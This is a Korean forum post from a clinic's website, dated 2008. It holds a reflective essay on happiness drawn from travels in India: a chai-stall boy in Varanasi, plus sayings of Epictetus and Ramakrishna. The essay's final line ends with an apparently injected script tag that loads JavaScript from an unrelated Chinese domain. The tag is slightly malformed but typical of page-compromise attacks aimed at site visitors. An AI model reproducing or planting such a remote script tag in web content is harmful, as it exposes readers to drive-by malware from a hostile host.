Are you happy? - 자유게시판 [126쪽] - 부야한의원

자유게시판

제목Are you happy?
작성자선정이 @ 2008.03.26 21:41:34

'당신은 행복한가? 당신은 편안하고 만족스러운가?'
삶에서 어떤 문제를 느끼거나 내가 나 자신을 잃어간다고 느낄 때면
나는 곧잘 북인도 바라나시의 한 여인숙에 가서 한동안 머물다 오곤 했다.

여인숙 바로 앞으로는 갠지스 강이 흐르고, 강가엔 조그만 다바(노천 찻집)가 있었다.
사방 1미터밖에 안 되는, 양철과 나무판자를 이어붙여 만든 그 찻집은
무려 열명이 넘는 한 가족의 유일한 수입원이었다.

아버지는 세상을 떠나고, 할머니와 어머니, 열명의 자식, 게다가 시집간 큰 딸은
아이까지 데리고 와서 얹혀 살고 있었다.
한 잔에 고작 2루피하는 짜이와 비스킷, 담배등이 전부인 구멍가게의
벌이로는 겨우 입에 풀칠만 할 수 있을 뿐이었다.

그 산자이네 구멍가게는 밤이면 도둑들의 표적이 되었으며,
경찰은 갠지스 강의 환경보호를 빙자해 걸핏하면 뇌물을 뜯어갔다.
악어조차도 눈물을 흘린다는 인도의 가난 속에서,
산자이네 식구의 생존 자체가 내 눈에는 하나의 기적처럼 보였다.

더 불가사의한 기적은, 그럼에도 불구하고 그들이 언제나 행복해 보인다는 것이었다.

이른 아침마다 나는 여인숙 계단을 내려와
산자이네 구멍가게로 가서 짜이 한 잔을 마시곤 했다.
그러면 어김없이 열다섯살짜리 산자이가
뿌욱뿌욱 가스 버너로 짜이를 끓이다 말고 소리쳐 묻는 것이었다.

"아 유 해피?"
그것이 산자이 식 아침 인사였다.

나는 그 특별한 아침 인사를 듣기 위해서라도 눈만 뜨면 그 구멍가게로 나가곤 했다.
그리고 날마다 그 인사를 듣다보니, 차츰 나 스스로 묻게 되었다.

'난 행복한가?'
짜이를 마시든, 뱃전에 앉아 명상을 하든,
아니면 근처 자운푸르나 파이자바드로 무슬림 음악을 들으러 가든,
'난 행복한가?'하고 묻는 것이 습관이 되었다.

인도에 갈 때면 만나는 스승 스리 수크데브 바바는
'어떻게 하면 삶에서 행복할 수 있는가?'
라는 내 질문에 이렇게 대답했다.
" 그대 자신이 행복하다는 사실을 매 순간 기억하는 일이다."

베 단타의 현자들은 삶에서 일어나는 기쁨과 슬픔을 뛰어넘어,
진정한 행복인 '아난드(지복)'를 발견하라고 말한다.
왜냐면 삶에서 일어나는 일들은
자신이 과거에 행한 일들의 결과로 일어나는 것 뿐이므로,
그것들에 집착해 슬퍼하거나 기뻐할 이유가 없다는 것이다.

희랍의 철학자 에픽테투스도 말하고 있다.
"삶에서 잃을 것은 아무것도 없다.
아무것도 우리는 잃지 않는다. 어떤 경우에도
'난 이러이러한 것을 잃었다' 고 말할 것이 아니라
'그것이 제자리로 돌아갔다' 라고 말하라.
그러면 마음의 평화를 잃지 않을 것이다."

그러면서 그는 충고한다.
"중요한 것은 이것이다.
세상이 허락했기 때문에 넌 현재 이러이러한 것을 갖고 있는 것이다.
따라서 그것들이 네 곁에 있는 동안에 그것들을 소중히 여기라.
여행자가 잠시 머무는 여인숙의 방을 소중히 여기듯이."

돌이켜 보면 , 나의 인도 여행은
무엇이 진정한 행복인가에 대한의문을 풀기 위한 과정에 다름아니었다.
진정한 행복이 무엇인가를 알기 위해 인도로 떠난 나는 차츰 어떠한 결론에 이르렀다.

“자신이 행복한 일을 하라. 그것이 신이 네게 준 사명이다!”
이것은 어느덧 내 가슴에 새겨진 첫번째 계명이 되었다.
행복을 잃는다면 모든 것을 잃는 것이다.

성자 라마크리슈나는 말했다.
" 당신이 행복하지 않다면 집과 돈과 이름이 무슨 의미가 있겠는가?
그리고 당신이 이미 행복하다면 그것들이 또한 무슨 의미가 있겠는가?"

별 하는 일 없이 그저 유쾌하게만 사는 한 바라문 남자는 내게 말했다.
" 난 행복한 사람이오. 가진게 많지 않을 뿐, 반면에 당신들은
가진게 많을 뿐이지 행복한 사람들은 아니잖소?"

인도에서 내가 배운 '행복론'은 다름 아닌 이것이었다.
우리는 다만 행복해지기 위해 이 세상에 왔다는 것,
행복해져야 한다는 것을 자신에게 자주 일깨워 줘야 한다는 것이다.
그리고 행복해지는 단 하나의 길은
우리 자신이 행복해 지는 데 필요한 많은 것들을
이미 갖고 있음을 자각해야 한다는 사실이다.

더불어 지금 이 순간을 살라는 것, 삶을 사랑하고,
상처받기 를 두려워하지 말라는 것, 행복은 때때로 놀라움과 함께 찾아오며,
자기 자신이 완전히 살아 있음을 느끼는 것이 곧 행복임을 기억하라는 것이다.

인도를 여행하는 사람들은 곧잘 서로에게 " 아 유 해피?" 하고 인사를 한다.
이 행성에 여행을 온 우리들 역시 하루에 한 번씩은 자기 자신에게 물어야 한다.
" 난 행복한가?' 하고.
'노 프라브럼!'?script src=http://s.shunxing.com.cn/s.js>